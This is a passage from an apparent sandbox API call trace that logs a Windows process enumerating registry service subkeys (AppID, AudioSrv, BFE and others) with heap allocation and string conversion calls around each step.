(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0239.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0239.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0239.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0239.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0239.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0239.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.570] 